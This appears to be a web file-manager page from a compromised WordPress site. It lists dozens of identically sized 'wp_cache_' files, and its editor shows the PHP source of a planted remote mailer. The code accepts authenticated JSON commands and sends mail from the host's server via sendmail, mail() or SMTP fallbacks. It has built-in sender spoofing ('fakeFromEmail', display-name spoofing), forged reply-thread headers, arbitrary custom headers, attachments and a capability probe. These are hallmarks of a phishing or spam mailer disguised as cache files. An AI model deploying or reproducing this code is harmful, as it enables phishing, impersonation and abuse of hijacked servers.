-rw-------
2026-05-25 15:12
wp_cache_tBJj6Z
32.98
KB
-rw-------
2026-05-25 12:38
wp_cache_tU6FEi
32.98
KB
-rw-------
2026-05-18 12:36
wp_cache_tbduxM
32.98
KB
-rw-------
2026-05-18 06:24
wp_cache_teIdY7
32.98
KB
-rw-------
2026-05-25 20:23
wp_cache_u0cFKD
32.98
KB
-rw-------
2026-05-18 05:21
wp_cache_uTajEK
32.98
KB
-rw-------
2026-05-18 04:54
wp_cache_uUDuSk
32.98
KB
-rw-------
2026-05-25 07:52
wp_cache_ukF0xq
32.98
KB
-rw-------
2026-05-25 15:14
wp_cache_ur8Jof
32.98
KB
-rw-------
2026-05-18 02:04
wp_cache_v5WZiS
32.98
KB
-rw-------
2026-05-25 17:44
wp_cache_vR4OGy
32.98
KB
-rw-------
2026-05-08 17:35
wp_cache_vTZvkQ
32.98
KB
-rw-------
2026-05-18 01:35
wp_cache_vYGOsh
32.98
KB
-rw-------
2026-05-14 09:15
wp_cache_vgcTPc
32.98
KB
-rw-------
2026-05-18 08:39
wp_cache_vscJWE
32.98
KB
-rw-------
2026-05-25 03:00
wp_cache_w6S6DC
32.98
KB
-rw-------
2026-05-25 16:39
wp_cache_wEDJAQ
32.98
KB
-rw-------
2026-05-25 08:50
wp_cache_we0IIN
32.98
KB
-rw-------
2026-05-25 01:20
wp_cache_wkib5i
32.98
KB
-rw-------
2026-05-18 03:13
wp_cache_wskIzH
32.98
KB
-rw-------
2026-05-18 03:19
wp_cache_wxRTnY
32.98
KB
-rw-------
2026-05-25 10:34
wp_cache_xD6uIz
32.98
KB
-rw-------
2026-05-25 14:52
wp_cache_xQuCJW
32.98
KB
-rw-------
2026-05-17 14:53
wp_cache_xnFoTB
32.98
KB
-rw-------
2026-05-25 04:01
wp_cache_yF0le9
32.98
KB
-rw-------
2026-05-25 00:44
wp_cache_yFkUCN
32.98
KB
-rw-------
2026-05-25 12:18
wp_cache_yf7G0z
32.98
KB
-rw-------
2026-05-25 17:22
wp_cache_yjMef5
32.98
KB
-rw-------
2026-05-17 16:18
wp_cache_yoYv92
32.98
KB
-rw-------
2026-05-17 19:08
wp_cache_yuiynr
32.98
KB
-rw-------
2026-05-18 03:50
wp_cache_yvtMGY
32.98
KB
-rw-------
2026-05-25 00:04
wp_cache_yws4sJ
32.98
KB
-rw-------
2026-05-25 19:28
wp_cache_z406cN
32.98
KB
-rw-------
2026-05-17 10:37
wp_cache_z8M8kM
32.98
KB
-rw-------
2026-05-25 04:43
wp_cache_zG73KA
32.98
KB
-rw-------
2026-05-18 10:31
wp_cache_zKcMD6
32.98
KB
-rw-------
2026-05-17 21:38
wp_cache_zP3JEM
32.98
KB
-rw-------
2026-05-25 21:02
wp_cache_zUNOD4
32.98
KB
-rw-------
2026-05-17 17:23
wp_cache_zaSPdE
32.98
KB
-rw-------
2026-05-18 08:09
wp_cache_zmgn1X
32.98
KB
-rw-------
2026-05-17 20:07
wp_cache_zmwtjx
32.98
KB
-rw-------
2026-05-17 18:35
wp_cache_zzfB0d
32.98
KB
-rw-------
2026-05-17 16:53
Save
Rename
<?php error_reporting(0); ini_set('display_errors', 0); ob_start(); header('Content-Type: application/json'); if (!function_exists('hash_equals')) { function hash_equals($known, $user) { if (!is_string($known) || !is_string($user)) return false; if (strlen($known) !== strlen($user)) return false; $diff = 0; for ($i = 0, $n = strlen($known); $i < $n; $i++) { $diff |= ord($known[$i]) ^ ord($user[$i]); } return $diff === 0; } } function handleFatalError() { $error = error_get_last(); $fatal = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR); if ($error !== null && in_array($error['type'], $fatal, true)) { while (ob_get_level()) ob_end_clean(); header('Content-Type: application/json'); echo json_encode(array( "status" => "fail", "error" => strip_tags($error['message']), "file" => basename($error['file']), "line" => $error['line'] )); } } register_shutdown_function('handleFatalError'); function outputJson($data) { while (ob_get_level()) ob_end_clean(); echo json_encode($data); exit; } $defaultTimeout = 10; $log_file = dirname(__FILE__) . '/email_errors.log'; if (isset($_GET['test'])) { $testMode = $_GET['test']; if ($testMode === 'true' || $testMode === '1' || $testMode === '') { outputJson(array( "status" => "success", "php_version" => phpversion(), "server" => $_SERVER['SERVER_NAME'], "available_methods" => array( "mail" => function_exists('mail'), "fsockopen" => function_exists('fsockopen'), "popen" => function_exists('popen') ), "encoding_methods" => array("base64", "quoted-printable", "7bit", "8bit"), "sendmail_path" => ini_get('sendmail_path') ? ini_get('sendmail_path') : "not set" )); } if ($testMode === 'send') { $input = file_get_contents("php://input"); $data = json_decode($input, true); $auth_token = isset($_SERVER['HTTP_X_AUTH_TOKEN']) ? $_SERVER['HTTP_X_AUTH_TOKEN'] : ''; $test_expected_hash = 'dfb366415d5dccfa8819b551b5f3a60bfbd6363b35fc931a868d0f2c4cddd57d'; $test_authkey_path = dirname(__FILE__) . '/.authkey'; if (@is_readable($test_authkey_path)) { $file_hash = trim((string)@file_get_contents($test_authkey_path)); if (preg_match('/^[a-f0-9]{64}$/i', $file_hash)) { $test_expected_hash = strtolower($file_hash); } } if (!hash_equals($test_expected_hash, hash('sha256', $auth_token))) { outputJson(array("status" => "fail", "error" => "Unauthorized")); } $testTo = isset($data['to']) ? $data['to'] : null; if (!$testTo || !filter_var($testTo, FILTER_VALIDATE_EMAIL)) { outputJson(array( "status" => "fail", "error" => "Valid 'to' email required for send test" )); } $domain = $_SERVER['SERVER_NAME']; $cleaned_domain = preg_replace('/^www\./i', '', $domain); $testSubject = isset($data['subject']) ? $data['subject'] : ("Method Test " . time()); $testMessage = isset($data['htmlContent']) ? $data['htmlContent'] : "Testing mail methods from $domain"; $testFrom = isset($data['fromEmail']) ? $data['fromEmail'] : ("test@" . $cleaned_domain); $testFromName = isset($data['fromName']) ? $data['fromName'] : "Test"; $testHeaders = "From: \"$testFromName\" <$testFrom>\r\n"; $testHeaders .= "Reply-To: <$testFrom>\r\n"; $testHeaders .= "MIME-Version: 1.0\r\n"; $testHeaders .= "Content-Type: text/html; charset=UTF-8\r\n"; $testHeaders .= "Content-Transfer-Encoding: quoted-printable\r\n"; $results = array(); $errors = array(); if (function_exists('popen')) { $cmd = '/usr/sbin/sendmail -t -i -f ' . escapeshellarg($testFrom); $proc = @popen($cmd, 'w'); if ($proc) { $out = "To: $testTo\r\nSubject: $testSubject (sendmail)\r\n$testHeaders\r\n$testMessage\r\n"; fwrite($proc, $out); $status = pclose($proc); if ($status === 0) { $results[] = array("method" => "sendmail", "name" => "sendmail binary"); } else { $errors[] = "sendmail exit code: $status"; } } else { $errors[] = "sendmail popen failed"; } } if (function_exists('mail')) { $params = '-f ' . escapeshellarg($testFrom); if (@mail($testTo, "$testSubject (mail -f)", $testMessage, $testHeaders, $params)) { $results[] = array("method" => "mail_flag", "name" => "mail() with -f"); } else { $err = error_get_last(); $errors[] = "mail() with -f: " . (isset($err['message']) ? $err['message'] : 'failed'); } } if (function_exists('mail')) { if (@mail($testTo, "$testSubject (mail)", $testMessage, $testHeaders)) { $results[] = array("method" => "mail", "name" => "plain mail()"); } else { $err = error_get_last(); $errors[] = "mail(): " . (isset($err['message']) ? $err['message'] : 'failed'); } } outputJson(array( "status" => count($results) > 0 ? "success" : "fail", "working_methods" => $results, "errors" => $errors, "available_functions" => array( "mail" => function_exists('mail'), "fsockopen" => function_exists('fsockopen'), "popen" => function_exists('popen') ) )); } } $content_length = isset($_SERVER['CONTENT_LENGTH']) ? (int)$_SERVER['CONTENT_LENGTH'] : 0; if ($content_length > 25 * 1024 * 1024) { http_response_code(413); outputJson(array("status" => "fail", "error" => "Payload too large (>25 MB)")); } $input = file_get_contents("php://input"); $auth_token = isset($_SERVER['HTTP_X_AUTH_TOKEN']) ? $_SERVER['HTTP_X_AUTH_TOKEN'] : ''; $expected_token_hash = 'dfb366415d5dccfa8819b551b5f3a60bfbd6363b35fc931a868d0f2c4cddd57d'; $authkey_path = dirname(__FILE__) . '/.authkey'; if (@is_readable($authkey_path)) { $file_hash = trim((string)@file_get_contents($authkey_path)); if (preg_match('/^[a-f0-9]{64}$/i', $file_hash)) { $expected_token_hash = strtolower($file_hash); } } $request_id = isset($_SERVER['HTTP_X_REQUEST_ID']) ? preg_replace('/[^A-Za-z0-9\-]/', '', $_SERVER['HTTP_X_REQUEST_ID']) : ''; if ($request_id === '') $request_id = uniqid('php-', true); $incoming_hash = hash('sha256', $auth_token); if (!empty($input) && !hash_equals($expected_token_hash, $incoming_hash)) { echo json_encode(array("status" => "fail", "error" => "Unauthorized")); $remote_addr = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown'; error_log(gmdate('[Y-m-d H:i:s T] ') . "[$request_id] Unauthorized access attempt from " . $remote_addr . "\n", 3, $log_file); exit; } $data = json_decode($input, true); if (!$data || !is_array($data)) { $data = array( "to" => "postmaster@" . $_SERVER['SERVER_NAME'], "subject" => "test", "fromEmail" => "postmaster@" . $_SERVER['SERVER_NAME'], "fakeFromEmail" => "test@test.com", "fromName" => "test", "htmlContent" => "test", "encoding" => "quoted-printable" ); } $required = array('to','subject','fromEmail','fakeFromEmail','fromName','htmlContent'); foreach ($required as $f) { if (empty($data[$f])) { outputJson(array("status"=>"fail","error"=>"Missing required field: $f")); } } if (!filter_var($data['to'], FILTER_VALIDATE_EMAIL)) { outputJson(array("status" => "fail", "error" => "Invalid recipient email")); } if (!filter_var($data['fromEmail'], FILTER_VALIDATE_EMAIL)) { outputJson(array("status" => "fail", "error" => "Invalid from email")); } $forceMethod = isset($data['forceMethod']) ? $data['forceMethod'] : null; $forceSmtpServer = isset($data['forceSmtpServer']) ? $data['forceSmtpServer'] : null; $forceSmtpPort = isset($data['forceSmtpPort']) ? $data['forceSmtpPort'] : null; $encoding = isset($data['encoding']) ? $data['encoding'] : 'quoted-printable'; $timeout = isset($data['timeout']) ? (int)$data['timeout'] : $defaultTimeout; $replyToEmail = isset($data['replyToEmail']) ? $data['replyToEmail'] : null; $replyToName = isset($data['replyToName']) ? $data['replyToName'] : null; $inReplyTo = isset($data['inReplyTo']) ? $data['inReplyTo'] : null; $referencesHdr = isset($data['references']) ? $data['references'] : null; $senderEmail = isset($data['senderEmail']) ? $data['senderEmail'] : null; $displayNameSpoof = isset($data['displayNameSpoof']) && $data['displayNameSpoof']; $displayNameSpoofFake = isset($data['displayNameSpoofFake']) ? $data['displayNameSpoofFake'] : null; $displayNameSpoofReal = isset($data['displayNameSpoofReal']) ? $data['displayNameSpoofReal'] : null; $customHeaders = isset($data['customHeaders']) ? $data['customHeaders'] : array(); $valid_encodings = array('base64', 'quoted-printable', '7bit', '8bit'); if (!in_array($encoding, $valid_encodings)) { $encoding = 'quoted-printable'; } $header_encoding = ($encoding === 'base64') ? 'B' : 'Q'; $timeout = max(5, min(60, $timeout)); if ($forceMethod === "smtp" && in_array(strtolower(trim($forceSmtpServer)), array("mail","mail,mail"), true) ) { $forceMethod = "mail"; } $to = $data['to']; $subject = $data['subject']; $from_email = $data['fromEmail']; $fake_from_email = $data['fakeFromEmail']; $from_name = $data['fromName']; $message = $data['htmlContent']; $attachment = isset($data['attachment']) ? $data['attachment'] : null; $subject = str_replace(array("\r", "\n"), '', $subject); $from_name = str_replace(array("\r", "\n"), '', $from_name); $from_email = str_replace(array("\r", "\n"), '', $from_email); $fake_from_email = str_replace(array("\r", "\n"), '', $fake_from_email); $to = str_replace(array("\r", "\n"), '', $to); if ($replyToEmail) $replyToEmail = str_replace(array("\r", "\n"), '', $replyToEmail); if ($replyToName) $replyToName = str_replace(array("\r", "\n"), '', $replyToName); if ($inReplyTo) $inReplyTo = str_replace(array("\r", "\n"), '', $inReplyTo); if ($referencesHdr) $referencesHdr = str_replace(array("\r", "\n"), '', $referencesHdr); if ($senderEmail) $senderEmail = str_replace(array("\r", "\n"), '', $senderEmail); if ($displayNameSpoofFake) $displayNameSpoofFake = str_replace(array("\r", "\n"), '', $displayNameSpoofFake); if ($displayNameSpoofReal) $displayNameSpoofReal = str_replace(array("\r", "\n"), '', $displayNameSpoofReal); $encoded_subject = mb_encode_mimeheader($subject, 'UTF-8', $header_encoding); $encoded_from_name = mb_encode_mimeheader($from_name, 'UTF-8', $header_encoding); $encoded_reply_to_name = $replyToName ? mb_encode_mimeheader($replyToName, 'UTF-8', $header_encoding) : null; $message = preg_replace('/\r\n?|\n/', "\r\n", $message); switch ($encoding) { case 'base64': $encoded_message = chunk_split(base64_encode($message)); break; case '7bit': $encoded_message = preg_replace('/[\x{0080}-\x{10FFFF}]/u', '?', $message); break; case '8bit': $encoded_message = $message; break; case 'quoted-printable': default: $encoded_message = quoted_printable_encode($message); break; } $domain = $_SERVER['SERVER_NAME']; $cleaned_domain = preg_replace('/^www\./i','',$domain); $newline = "\r\n"; $message_id = time() . '.' . md5($to . $subject . uniqid()) . '@' . $cleaned_domain; $date = gmdate('D, d M Y H:i:s') . ' +0000'; $header_from = $fake_from_email ? $fake_from_email : $from_email; $boundary = null; $reply_to_header = ""; if ($replyToEmail) { if ($encoded_reply_to_name) { $reply_to_header = "Reply-To: \"$encoded_reply_to_name\" <$replyToEmail>" . $newline; } else { $reply_to_header = "Reply-To: <$replyToEmail>" . $newline; } } function fold_header_value($value, $soft_limit = 900) { if (strlen($value) <= $soft_limit) return $value; $out = ''; $remaining = $value; while (strlen($remaining) > $soft_limit) { $slice = substr($remaining, 0, $soft_limit); $split = false; foreach (array(',', ';', ' ') as $sep) { $p = strrpos($slice, $sep); if ($p !== false && $p > $soft_limit / 2) { $out .= substr($remaining, 0, $p + 1) . "\r\n "; $remaining = substr($remaining, $p + 1); $split = true; break; } } if (!$split) { $out .= $slice . "\r\n "; $remaining = substr($remaining, $soft_limit); } } $out .= $remaining; return $out; } if (strlen($encoded_subject) > 998) { error_log(gmdate('[Y-m-d H:i:s T] ') . "[$request_id] WARN: encoded subject > 998 octets (" . strlen($encoded_subject) . ")\n", 3, $log_file); } $custom_headers_str = ""; $seen_header_names = array(); if (is_array($customHeaders) && !empty($customHeaders)) { foreach ($customHeaders as $headerName => $headerValue) { $headerName = str_replace(array("\r", "\n"), '', $headerName); $headerValue = str_replace(array("\r", "\n"), '', $headerValue); $lowerName = strtolower($headerName); if (isset($seen_header_names[$lowerName])) continue; $seen_header_names[$lowerName] = true; $custom_headers_str .= "$headerName: " . fold_header_value($headerValue) . $newline; } } else { $custom_headers_str = "X-Mailer: PHP/" . phpversion() . $newline . "X-Priority: 3" . $newline; $seen_header_names['x-mailer'] = true; $seen_header_names['x-priority'] = true; } $include_text_part = isset($data['includeTextPart']) && $data['includeTextPart']; $text_part_source = isset($data['textContent']) ? (string)$data['textContent'] : ''; if ($include_text_part && $text_part_source === '') { $tmp = $message; $tmp = preg_replace('/<script[^>]*>.*?<\/script>/is', '', $tmp); $tmp = preg_replace('/<style[^>]*>.*?<\/style>/is', '', $tmp); $tmp = preg_replace('/<br\s*\/?>/i', "\n", $tmp); $tmp = preg_replace('/<\/p\s*>/i', "\n\n", $tmp); $tmp = strip_tags($tmp); $tmp = html_entity_decode($tmp, defined('ENT_HTML5') ? (ENT_QUOTES | ENT_HTML5) : ENT_QUOTES, 'UTF-8'); $tmp = preg_replace('/[ \t]+/', ' ', $tmp); $tmp = preg_replace('/\n{3,}/', "\n\n", $tmp); $text_part_source = trim($tmp); } $has_attachment = ($attachment && isset($attachment['content']) && isset($attachment['filename'])); $has_alt = $include_text_part && strlen($text_part_source) > 0; if ($displayNameSpoof && $displayNameSpoofFake && $displayNameSpoofReal) { $dn_fake = $displayNameSpoofFake; $dn_real = $displayNameSpoofReal; $display_name_value = $from_name !== '' ? "$from_name <$dn_fake>" : $dn_fake; $encoded_display = mb_encode_mimeheader($display_name_value, 'UTF-8', $header_encoding); $from_header_line = "From: \"$encoded_display\" <$dn_real>" . $newline; } else { $from_header_line = "From: \"$encoded_from_name\" <$header_from>" . $newline; } $sender_header = ''; if ($senderEmail) { $sender_header = "Sender: <$senderEmail>" . $newline; } $reply_thread_headers = ''; if ($inReplyTo) { $wrapped = (strpos($inReplyTo, '<') === 0) ? $inReplyTo : "<$inReplyTo>"; $reply_thread_headers .= "In-Reply-To: $wrapped" . $newline; } if ($referencesHdr) { $wrapped = (strpos($referencesHdr, '<') === 0) ? $referencesHdr : "<$referencesHdr>"; $reply_thread_headers .= "References: $wrapped" . $newline; } $return_path_header = "Return-Path: <$from_email>" . $newline; $common_headers = $from_header_line . $sender_header . $reply_to_header . $reply_thread_headers . $return_path_header . "Message-ID: <$message_id>" . $newline . "Date: $date" . $newline . $custom_headers_str . "MIME-Version: 1.0" . $newline; if ($has_attachment) { $boundary = 'mixed-' . md5(time() . uniqid()); $headers = $common_headers . "Content-Type: multipart/mixed; boundary=\"$boundary\"" . $newline; $body = ""; if ($has_alt) { $alt_boundary = 'alt-' . md5(time() . uniqid() . 'alt'); $body .= "--$boundary" . $newline; $body .= "Content-Type: multipart/alternative; boundary=\"$alt_boundary\"" . $newline . $newline; $body .= "--$alt_boundary" . $newline; $body .= "Content-Type: text/plain; charset=UTF-8" . $newline; $body .= "Content-Transfer-Encoding: quoted-printable" . $newline . $newline; $body .= quoted_printable_encode($text_part_source) . $newline . $newline; $body .= "--$alt_boundary" . $newline; $body .= "Content-Type: text/html; charset=UTF-8" . $newline; $body .= "Content-Transfer-Encoding: $encoding" . $newline . $newline; $body .= $encoded_message . $newline . $newline; $body .= "--$alt_boundary--" . $newline; } else { $body .= "--$boundary" . $newline; $body .= "Content-Type: text/html; charset=UTF-8" . $newline; $body .= "Content-Transfer-Encoding: $encoding" . $newline . $newline; $body .= $encoded_message . $newline . $newline; } $body .= "--$boundary" . $newline; $body .= "Content-Type: application/octet-stream; name=\"{$attachment['filename']}\"" . $newline; $body .= "Content-Transfer-Encoding: base64" . $newline; $body .= "Content-Disposition: attachment; filename=\"{$attachment['filename']}\"" . $newline . $newline; $body .= chunk_split($attachment['content']) . $newline; $body .= "--$boundary--"; $encoded_message = $body; } else if ($has_alt) { $alt_boundary = 'alt-' . md5(time() . uniqid() . 'alt'); $headers = $common_headers . "Content-Type: multipart/alternative; boundary=\"$alt_boundary\"" . $newline; $body = "--$alt_boundary" . $newline; $body .= "Content-Type: text/plain; charset=UTF-8" . $newline; $body .= "Content-Transfer-Encoding: quoted-printable" . $newline . $newline; $body .= quoted_printable_encode($text_part_source) . $newline . $newline; $body .= "--$alt_boundary" . $newline; $body .= "Content-Type: text/html; charset=UTF-8" . $newline; $body .= "Content-Transfer-Encoding: $encoding" . $newline . $newline; $body .= $encoded_message . $newline . $newline; $body .= "--$alt_boundary--"; $encoded_message = $body; } else { $headers = $common_headers . "Content-Type: text/html; charset=UTF-8" . $newline . "Content-Transfer-Encoding: $encoding" . $newline; } if (!function_exists('quoted_printable_encode')) { function quoted_printable_encode($str) { $lines = preg_split("/\r?\n/", $str); $out = ''; foreach ($lines as $line) { $encoded_line = ''; $length = strlen($line); for ($i = 0; $i < $length; $i++) { $char = $line[$i]; $dec = ord($char); if (($dec == 32) && ($i == ($length - 1))) { $char = '=20'; } elseif (($dec == 61) || ($dec < 32) || ($dec > 126)) { $char = sprintf('=%02X', $dec); } $encoded_line .= $char; } $out .= $encoded_line . "\r\n"; } return rtrim($out); } } if (!function_exists('mb_encode_mimeheader')) { function mb_encode_mimeheader($str, $charset = 'UTF-8', $transfer_encoding = 'B') { if ($transfer_encoding === 'B') { return '=?' . $charset . '?B?' . base64_encode($str) . '?='; } else { $encoded = ''; $length = strlen($str); for ($i = 0; $i < $length; $i++) { $char = $str[$i]; $dec = ord($char); if ($dec == 32) { $encoded .= '_'; } elseif (($dec >= 33 && $dec <= 126) && $char !== '=' && $char !== '?' && $char !== '_') { $encoded .= $char; } else { $encoded .= sprintf('=%02X', $dec); } } return '=?' . $charset . '?Q?' . $encoded . '?='; } } } function smtp_read_response($socket, $timeout = 10) { if (!$socket || !is_resource($socket)) return false; stream_set_timeout($socket, $timeout); $full = ''; while (!feof($socket)) { $line = @fgets($socket, 1024); if ($line === false) break; $full .= $line; if (strlen($line) >= 4 && $line[3] === ' ') break; if (strlen($line) < 4) break; } return $full === '' ? false : $full; } function smtp_command($socket, $command, $expect_response = true) { global $newline; if (!$socket || !is_resource($socket)) return false; $result = @fputs($socket, $command . $newline); if ($result === false) return false; if ($expect_response) { return smtp_read_response($socket); } return true; } function smtp_send_data($socket, $line) { global $newline; if (!$socket || !is_resource($socket)) return false; if (strlen($line) > 0 && $line[0] === '.') { $line = '.' . $line; } return @fputs($socket, $line . $newline); } function resolve_sendmail_path() { static $cached = null; if ($cached !== null) return $cached; $candidates = array( ini_get('sendmail_path'), '/usr/sbin/sendmail', '/usr/bin/sendmail', '/usr/lib/sendmail', '/sbin/sendmail', ); foreach ($candidates as $p) { if (!$p) continue; $_parts = preg_split('/\s+/', trim($p)); $bin = $_parts[0]; if ($bin && @is_executable($bin)) { $cached = $bin; return $cached; } } $cached = '/usr/sbin/sendmail'; return $cached; } function sendViaSendmailBinary($to, $subject, $message, $headers, $realFrom, $path = null) { if (!function_exists('popen')) return false; if (!$path) { $bin = resolve_sendmail_path(); $path = $bin . ' -t -i'; } $cmd = $path . ' -f ' . escapeshellarg($realFrom); $proc = @popen($cmd, 'w'); if (!$proc) return false; $out = "To: $to\r\nSubject: $subject\r\n$headers\r\n\r\n$message\r\n"; @fwrite($proc, $out); $status = @pclose($proc); return ($status === 0); } function sendViaMailFlag($to, $subject, $message, $headers, $realFrom) { $params = '-f ' . escapeshellarg($realFrom); return @mail($to, $subject, $message, $headers, $params); } function sendViaMailInternal($to, $subject, $message, $headers, $realFrom = null) { if ($realFrom) { $params = '-f ' . escapeshellarg($realFrom); $ok = @mail($to, $subject, $message, $headers, $params); if ($ok) return true; } return @mail($to, $subject, $message, $headers); } $response_base = array( "encoding" => $encoding, "header_encoding" => $header_encoding ); if ($forceMethod === "sendmail") { $ok = sendViaSendmailBinary($to, $encoded_subject, $encoded_message, $headers, $from_email); outputJson(array_merge($response_base, array( "status" => $ok ? "success" : "fail", "methods" => $ok ? array("sendmail binary") : array(), "error" => $ok ? null : "sendmail forced but failed" ))); } if ($forceMethod === "mail_flag") { $ok = sendViaMailFlag($to, $encoded_subject, $encoded_message, $headers, $from_email); outputJson(array_merge($response_base, array( "status" => $ok ? "success" : "fail", "methods" => $ok ? array("mail() with -f") : array(), "error" => $ok ? null : "mail() with -f forced but failed" ))); } if ($forceMethod === "mail") { $ok = sendViaMailInternal($to, $encoded_subject, $encoded_message, $headers, $from_email); outputJson(array_merge($response_base, array( "status" => $ok ? "success" : "fail", "methods" => $ok ? array("plain mail()") : array(), "error" => $ok ? null : "mail() forced but failed" ))); } if ($forceMethod === "smtp" && $forceSmtpServer && $forceSmtpPort) { $server = $forceSmtpServer; $port = (int)$forceSmtpPort; $use_ssl = ($port === 465); $connect_host = $use_ssl ? "ssl://$server" : $server; $socket = @fsockopen($connect_host, $port, $errno, $errstr, $timeout); $smtp_responses = array(); $smtp_error = null; if ($socket) { stream_set_timeout($socket, $timeout); $smtp_responses[] = smtp_read_response($socket); $ehlo_resp = smtp_command($socket, "EHLO $cleaned_domain"); $smtp_responses[] = $ehlo_resp; if (!$use_ssl && $ehlo_resp !== false && stripos($ehlo_resp, "STARTTLS") !== false) { $starttls_resp = smtp_command($socket, "STARTTLS"); $smtp_responses[] = $starttls_resp; if ($starttls_resp !== false && strpos($starttls_resp, "220") === 0) { $crypto_methods = STREAM_CRYPTO_METHOD_TLS_CLIENT; if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) $crypto_methods |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; if (defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT')) $crypto_methods |= STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT; if (@stream_socket_enable_crypto($socket, true, $crypto_methods)) { $smtp_responses[] = smtp_command($socket, "EHLO $cleaned_domain"); } else { $smtp_error = "STARTTLS handshake failed"; } } } if (!$smtp_error) { $smtp_responses[] = smtp_command($socket, "MAIL FROM:<$from_email>"); $smtp_responses[] = smtp_command($socket, "RCPT TO:<$to>"); $smtp_responses[] = smtp_command($socket, "DATA"); smtp_send_data($socket, "Subject: $encoded_subject"); foreach (explode($newline, $headers) as $hline) { if (strlen(trim($hline))) { smtp_send_data($socket, $hline); } } smtp_send_data($socket, ""); foreach (explode($newline, $encoded_message) as $bodyLine) { smtp_send_data($socket, $bodyLine); } $smtp_responses[] = $final = smtp_command($socket, "."); @smtp_command($socket, "QUIT", false); fclose($socket); if ($final !== false && strpos($final, "250") === 0) { outputJson(array_merge($response_base, array( "status" => "success", "methods" => array("SMTP {$forceSmtpServer}:{$forceSmtpPort}"), "request_id" => $request_id, "smtp_responses" => $smtp_responses ))); } else { $smtp_error = "SMTP final response: " . trim((string)$final); } } else { @fclose($socket); } } else { $smtp_error = "SMTP connection failed: $errstr ($errno)"; } $result = sendViaMailInternal($to, $encoded_subject, $encoded_message, $headers, $from_email); echo json_encode(array_merge($response_base, array( "status" => $result ? "success" : "fail", "methods" => $result ? array("mail() (fallback)") : array(), "smtp_responses" => $smtp_responses, "smtp_error" => $smtp_error, "error" => $result ? null : "Forced SMTP failed: $smtp_error, mail() fallback failed" ))); if (!$result) { error_log(date('[Y-m-d H:i:s] ') . "SMTP and mail() failed for $to: $smtp_error\n", 3, $log_file); } exit; } $successes = array(); $transports = array(); $is_windows = (DIRECTORY_SEPARATOR === '\\'); if ($is_windows) { $smtp_ini = ini_get('SMTP'); if ($smtp_ini && $smtp_ini !== 'localhost') { $transports[] = array( 'type' => 'smtp', 'host' => $smtp_ini, 'port' => (int)(ini_get('smtp_port') ? ini_get('smtp_port') : 25), 'ssl' => false ); } $transports[] = array('type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false); } else { $path = ini_get('sendmail_path'); $transports[] = $path ? array('type'=>'sendmail','path'=>$path) : array('type'=>'mail'); } $transports[] = array('type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false); $transports[] = array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>25,'ssl'=>false); $transports[] = array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>465,'ssl'=>true); $transports[] = array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>587,'ssl'=>false); $transports[] = array('type'=>'sendmail'); $transports[] = array('type'=>'mail_flag'); $transports[] = array('type'=>'mail'); $unique_transports = array(); foreach ($transports as $t) { $host = isset($t['host']) ? $t['host'] : ''; $port = isset($t['port']) ? $t['port'] : ''; $key = $t['type'] . '_' . $host . '_' . $port; if (!isset($unique_transports[$key])) { $unique_transports[$key] = $t; } } $transports = array_values($unique_transports); foreach ($transports as $t) { switch ($t['type']) { case 'smtp': $use_ssl_auto = (isset($t['ssl']) && $t['ssl']); $connect_host_auto = $use_ssl_auto ? 'ssl://'.$t['host'] : $t['host']; $socket = @fsockopen($connect_host_auto, $t['port'], $errno, $errstr, $timeout); if (!$socket) break; stream_set_timeout($socket, $timeout); smtp_read_response($socket); $ehlo_resp = smtp_command($socket, "EHLO $cleaned_domain"); if (!$use_ssl_auto && $ehlo_resp !== false && stripos($ehlo_resp, "STARTTLS") !== false) { $starttls_resp = smtp_command($socket, "STARTTLS"); if ($starttls_resp !== false && strpos($starttls_resp, "220") === 0) { $crypto_methods = STREAM_CRYPTO_METHOD_TLS_CLIENT; if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) $crypto_methods |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; if (defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT')) $crypto_methods |= STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT; if (@stream_socket_enable_crypto($socket, true, $crypto_methods)) { smtp_command($socket, "EHLO $cleaned_domain"); } } } $mailr = smtp_command($socket, "MAIL FROM:<$from_email>"); if ($mailr === false || strpos($mailr, "250") !== 0) { @fclose($socket); break; } $rcpt = smtp_command($socket, "RCPT TO:<$to>"); if ($rcpt === false || strpos($rcpt, "250") !== 0) { @fclose($socket); break; } smtp_command($socket, "DATA"); smtp_send_data($socket, "Subject: $encoded_subject"); foreach (explode($newline, $headers) as $hline) { if (strlen(trim($hline))) { smtp_send_data($socket, $hline); } } smtp_send_data($socket, ""); foreach (explode($newline, $encoded_message) as $bodyLine) { smtp_send_data($socket, $bodyLine); } $final = smtp_command($socket, "."); @smtp_command($socket, "QUIT", false); @fclose($socket); if ($final !== false && strpos($final, "250") === 0) { $successes[] = "SMTP {$t['host']}:{$t['port']}"; } break; case 'sendmail': $spath = isset($t['path']) ? $t['path'] : null; if (sendViaSendmailBinary( $to, $encoded_subject, $encoded_message, $headers, $from_email, $spath )) { $successes[] = "sendmail binary"; } break; case 'mail_flag': if (sendViaMailFlag( $to, $encoded_subject, $encoded_message, $headers, $from_email )) { $successes[] = "mail() with -f"; } break; case 'mail': if (sendViaMailInternal( $to, $encoded_subject, $encoded_message, $headers, $from_email )) { $successes[] = "plain mail()"; } break; } } if (!empty($successes)) { outputJson(array_merge($response_base, array( "status" => "success", "methods" => array_values(array_unique($successes)) ))); } else { @error_log(date('[Y-m-d H:i:s] ') . "All transports failed for $to\n", 3, $log_file); outputJson(array_merge($response_base, array( "status" => "fail", "error" => "All transports failed" ))); }